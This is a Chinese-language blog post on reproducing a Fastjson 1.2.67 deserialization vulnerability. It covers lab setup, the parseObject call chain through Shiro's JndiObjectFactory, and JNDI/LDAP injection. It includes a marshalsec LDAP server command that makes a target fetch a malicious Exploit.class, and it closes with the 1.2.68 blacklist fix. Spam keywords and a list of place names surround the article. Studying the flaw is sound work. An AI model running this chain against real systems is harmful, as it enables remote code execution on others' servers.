中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何分析Fastjson漏洞的環境搭建及漏洞復現

發布時間:2021-12-10 19:24:23 來源:億速云 閱讀:464 作者:柒染 欄目:網絡安全

今天就跟大家聊聊有關如何分析Fastjson漏洞的環境搭建及漏洞復現,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

0x01 Fastjson簡介

Fastjson 是Alibaba的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。 
https://github.com/alibaba/fastjson

0x02 環境搭建

JDK 版本:8u112

fastjson: 1.2.67

shiro: 1.5.1

slf4j-nop: 1.7.25

0x1 添加依賴包

為了快速添加項目所需要的jar包,創建Maven項目如下

如何分析Fastjson漏洞的環境搭建及漏洞復現

pom.xml

如何分析Fastjson漏洞的環境搭建及漏洞復現

如何分析Fastjson漏洞的環境搭建及漏洞復現

之后右鍵pom.xml 點擊下載source和document

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x2 選擇JDK版本

該漏洞選擇JDK 8u112

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x3 編寫漏洞代碼

在main文件夾中添加漏洞代碼,核心在于調用了fastjson.JSON的parseObject 函數

如何分析Fastjson漏洞的環境搭建及漏洞復現

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x03 漏洞原理

0x1 FastJson 類解析

Fastjson接口簡單易用,廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端提供兩個主要接口toJsonString和parseObject來分別實現序列化和反序列化。

FastJson中的 parse 和 parseObject方法都可以用來將JSON字符串反序列化成Java對象,parseObject 本質上也是調用 parse 進行反序列化的。但是 parseObject 會額外的將Java對象轉為 JSONObject對象,即 JSON.toJSON。所以進行反序列化時的細節區別在于,parse 會識別并調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject 由于多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。

fastjson.java

如何分析Fastjson漏洞的環境搭建及漏洞復現

如何分析Fastjson漏洞的環境搭建及漏洞復現

如何分析Fastjson漏洞的環境搭建及漏洞復現

由結果可以看出調用parseObject 函數會調用getattr方法。

0x2 漏洞調用鏈分析

調用棧分析

如何分析Fastjson漏洞的環境搭建及漏洞復現

1. parseObject 對象類型轉換

這一步的操作是將obj對應的對象類型轉化為json格式,這勢必要方位getattr 對象方法,從而觸發漏洞。

如何分析Fastjson漏洞的環境搭建及漏洞復現

2. 反射調用

通過invoke方法,調用getinstance方法

如何分析Fastjson漏洞的環境搭建及漏洞復現

3. 觸發ldap

在JndiObjectFactory getinstance 中調用了this.lookup(resourceName)

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x3 JNDI 注入

Java Name Directory Interface,Java命名和目錄接口(JNDI)是一種Java API,類似于一個索引中心,它允許客戶端通過name發現和查找數據和對象。JNDI包括Naming Service和Directory Service,通過名稱來尋找數據和對象的API,也稱為一種綁定。JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

如何分析Fastjson漏洞的環境搭建及漏洞復現

其應用場景比如:動態加載數據庫配置文件,從而保持數據庫代碼不變動等。

注入方法:

  1. JNDI Reference 配合 RMI

  2. JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("
rmi://localhost:9999/refObj");

LDAP格式ctx.lookup("
ldap://localhost:9999/refObj");

若lookup函數中的參數攻擊者可控,便可以指向攻擊者的服務器,即可實現JNDI注入實現任意代碼執行。

1 RMI

RMI(Remote Method Invocation,遠程方法調用)。遠程方法調用是分布式編程中的一個基本思想,實現遠程方法調用的技術有CORBA、WebService等(這兩種獨立于編程語言)。RMI則是專門為JAVA設計,依賴JRMP通訊協議。

2 LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫,用來保存描述性的、基于屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強,但“寫”性能較差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數據。LDAP目錄和RMI注冊表的區別在于是前者是目錄服務,并允許分配存儲對象的屬性。

該漏洞簡單的將利用org.apache.shiro 包中的jndi功能訪問自己搭建的ldap服務,獲取并執行自己編譯的Exploit.class文件。

0x04 漏洞利用

0x1 編譯Java 利用代碼

如何分析Fastjson漏洞的環境搭建及漏洞復現

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x2 開啟 LDAP 服務

使用marshalsec啟動一個ladp服務器 ,下載地址為
https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x3 開啟HTTP Web 服務

將編譯好的Exploit.class 放在web目錄下并開啟服務

如何分析Fastjson漏洞的環境搭建及漏洞復現

0x05 漏洞補丁

這個鏈接梳理了fastjson hash對應的jar,可以方便的尋找已經被過濾的jar包
https://github.com/LeadroyaL/fastjson-blacklist

如何分析Fastjson漏洞的環境搭建及漏洞復現

該漏洞采用黑名單的方式進行修補,在1.2.68中把org.apache.shiro.jndi 給ban掉了

如何分析Fastjson漏洞的環境搭建及漏洞復現

對應的具體代碼如下圖所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函數中有對應處理

黑名單hash生成算法,大概思路是將每一位都異或進行異或疊加。

如何分析Fastjson漏洞的環境搭建及漏洞復現

看完上述內容,你們對如何分析Fastjson漏洞的環境搭建及漏洞復現有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

通道| 富川| 瑞安市| 五华县| 邹平县| 永安市| 乐平市| 富源县| 永兴县| 芒康县| 博兴县| 乐亭县| 新源县| 尼木县| 普兰店市| 永善县| 朝阳县| 秭归县| 邳州市| 当雄县| 分宜县| 古丈县| 柳州市| 社旗县| 沅江市| 开平市| 泽普县| 安顺市| 潮州市| 青州市| 华安县| 章丘市| 阿瓦提县| 专栏| 陆河县| 孟津县| 沧源| 建始县| 昌图县| 威远县| 广平县|